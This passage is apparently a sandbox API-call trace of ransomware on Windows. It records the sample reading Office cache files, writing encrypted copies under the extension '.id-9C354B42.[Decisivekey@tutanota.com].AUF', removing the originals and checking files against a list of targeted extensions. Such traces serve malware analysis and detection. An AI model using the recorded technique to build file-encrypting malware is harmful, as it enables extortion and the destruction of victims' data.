dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0213.139] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=3584) returned 1 [0213.139] CloseHandle (hObject=0x1d8) returned 1 [0213.139] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0213.139] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0213.139] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.139] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.139] GetLastError () returned 0x0 [0213.139] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xe00, lpOverlapped=0x0) returned 1 [0213.188] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe10, lpOverlapped=0x0) returned 1 [0213.189] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.189] WriteFile (in: hFile=0x1e4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.189] SetEndOfFile (hFile=0x1e4) returned 1 [0213.189] CloseHandle (hObject=0x1e4) returned 1 [0213.189] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.189] SetEndOfFile (hFile=0x1d8) returned 1 [0213.190] CloseHandle (hObject=0x1d8) returned 1 [0213.190] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.190] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString=".doc") returned 4 [0213.191] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0213.191] lstrlenW (lpString=".docx") returned 5 [0213.191] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0213.191] lstrlenW (lpString=".pdf") returned 4 [0213.191] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString=".xls") returned 4 [0213.191] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString=".xlsx") returned 5 [0213.191] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0213.191] lstrlenW (lpString=".ppt") returned 4 [0213.191] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString=".zip") returned 4 [0213.191] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString=".rar") returned 4 [0213.191] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString=".bz2") returned 4 [0213.191] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0213.191] lstrlenW (lpString=".7z") returned 3 [0213.191] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString=".dbf") returned 4 [0213.191] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString=".1cd") returned 4 [0213.191] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString=".jpg") returned 4 [0213.191] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.191] lstrlenW (lpString=".doc") returned 4 [0213.191] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0213.191] lstrlenW (lpString=".docx") returned 5 [0213.191] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0213.191] lstrlenW (lpString=".pdf") returned 4 [0213.191] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString=".xls") returned 4 [0213.191] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString=".xlsx") returned 5 [0213.191] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0213.191] lstrlenW (lpString=".ppt") returned 4 [0213.191] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0213.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.192] lstrlenW (lpString=".zip") returned 4 [0213.192] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0213.192] lstrlenW (lpString=".rar") returned 4 [0213.192] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0213.192] lstrlenW (lpString=".bz2") returned 4 [0213.192] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0213.192] lstrlenW (lpString=".7z") returned 3 [0213.192] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0213.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.192] lstrlenW (lpString=".dbf") returned 4 [0213.192] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0213.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.192] lstrlenW (lpString=".1cd") returned 4 [0213.192] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0213.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0213.192] lstrlenW (lpString=".jpg") returned 4 [0213.192] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0213.192] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0213.192] lstrlenW (lpString="AccLR.cab") returned 9 [0213.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.476] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=28016276) returned 1 [0213.476] CloseHandle (hObject=0x210) returned 1 [0213.476] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0213.476] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.476] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.477] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0213.477] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.477] ReadFile (in: hFile=0x210, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.500] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.500] ReadFile (in: hFile=0x210, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.512] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.512] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.512] ReadFile (in: hFile=0x210, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.571] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.571] WriteFile (in: hFile=0x210, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0213.584] SetEndOfFile (hFile=0x210) returned 1 [0213.587] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.587] WriteFile (in: hFile=0x210, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.588] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.588] WriteFile (in: hFile=0x210, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.590] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.590] WriteFile (in: hFile=0x210, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.592] CloseHandle (hObject=0x210) returned 1 [0213.592] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.592] lstrlenW (lpString=".doc") returned 4 [0213.592] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString=".docx") returned 5 [0213.592] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0213.592] lstrlenW (lpString=".pdf") returned 4 [0213.592] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString=".xls") returned 4 [0213.592] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString=".xlsx") returned 5 [0213.592] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0213.592] lstrlenW (lpString=".ppt") returned 4 [0213.592] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.592] lstrlenW (lpString=".zip") returned 4 [0213.592] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString=".rar") returned 4 [0213.592] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString=".bz2") returned 4 [0213.592] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.592] lstrlenW (lpString=".7z") returned 3 [0213.592] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.592] lstrlenW (lpString=".dbf") returned 4 [0213.592] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.592] lstrlenW (lpString=".1cd") returned 4 [0213.592] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.592] lstrlenW (lpString=".jpg") returned 4 [0213.592] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.593] lstrlenW (lpString=".doc") returned 4 [0213.593] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString=".docx") returned 5 [0213.593] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0213.593] lstrlenW (lpString=".pdf") returned 4 [0213.593] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString=".xls") returned 4 [0213.593] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString=".xlsx") returned 5 [0213.593] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0213.593] lstrlenW (lpString=".ppt") returned 4 [0213.593] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.593] lstrlenW (lpString=".zip") returned 4 [0213.593] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString=".rar") returned 4 [0213.593] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString=".bz2") returned 4 [0213.593] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.593] lstrlenW (lpString=".7z") returned 3 [0213.593] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.593] lstrlenW (lpString=".dbf") returned 4 [0213.593] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.593] lstrlenW (lpString=".1cd") returned 4 [0213.593] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0213.593] lstrlenW (lpString=".jpg") returned 4 [0213.593] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.593] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0213.593] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0213.593] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.593] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=36233052) returned 1 [0213.594] CloseHandle (hObject=0x210) returned 1 [0213.594] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0213.594] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.594] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.594] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0213.594] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.594] ReadFile (in: hFile=0x210, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.679] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.679] ReadFile (in: hFile=0x210, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.718] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.718] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0213.718] ReadFile (in: hFile=0x210, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.782] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.782] WriteFile (in: hFile=0x210, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0213.795] SetEndOfFile (hFile=0x210) returned 1 [0213.799] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.799] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.799] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.799] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.800] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0213.800] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.801] CloseHandle (hObject=0x210) returned 1 [0213.802] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString=".doc") returned 4 [0213.802] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString=".docx") returned 5 [0213.802] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0213.802] lstrlenW (lpString=".pdf") returned 4 [0213.802] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString=".xls") returned 4 [0213.802] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString=".xlsx") returned 5 [0213.802] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0213.802] lstrlenW (lpString=".ppt") returned 4 [0213.802] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All 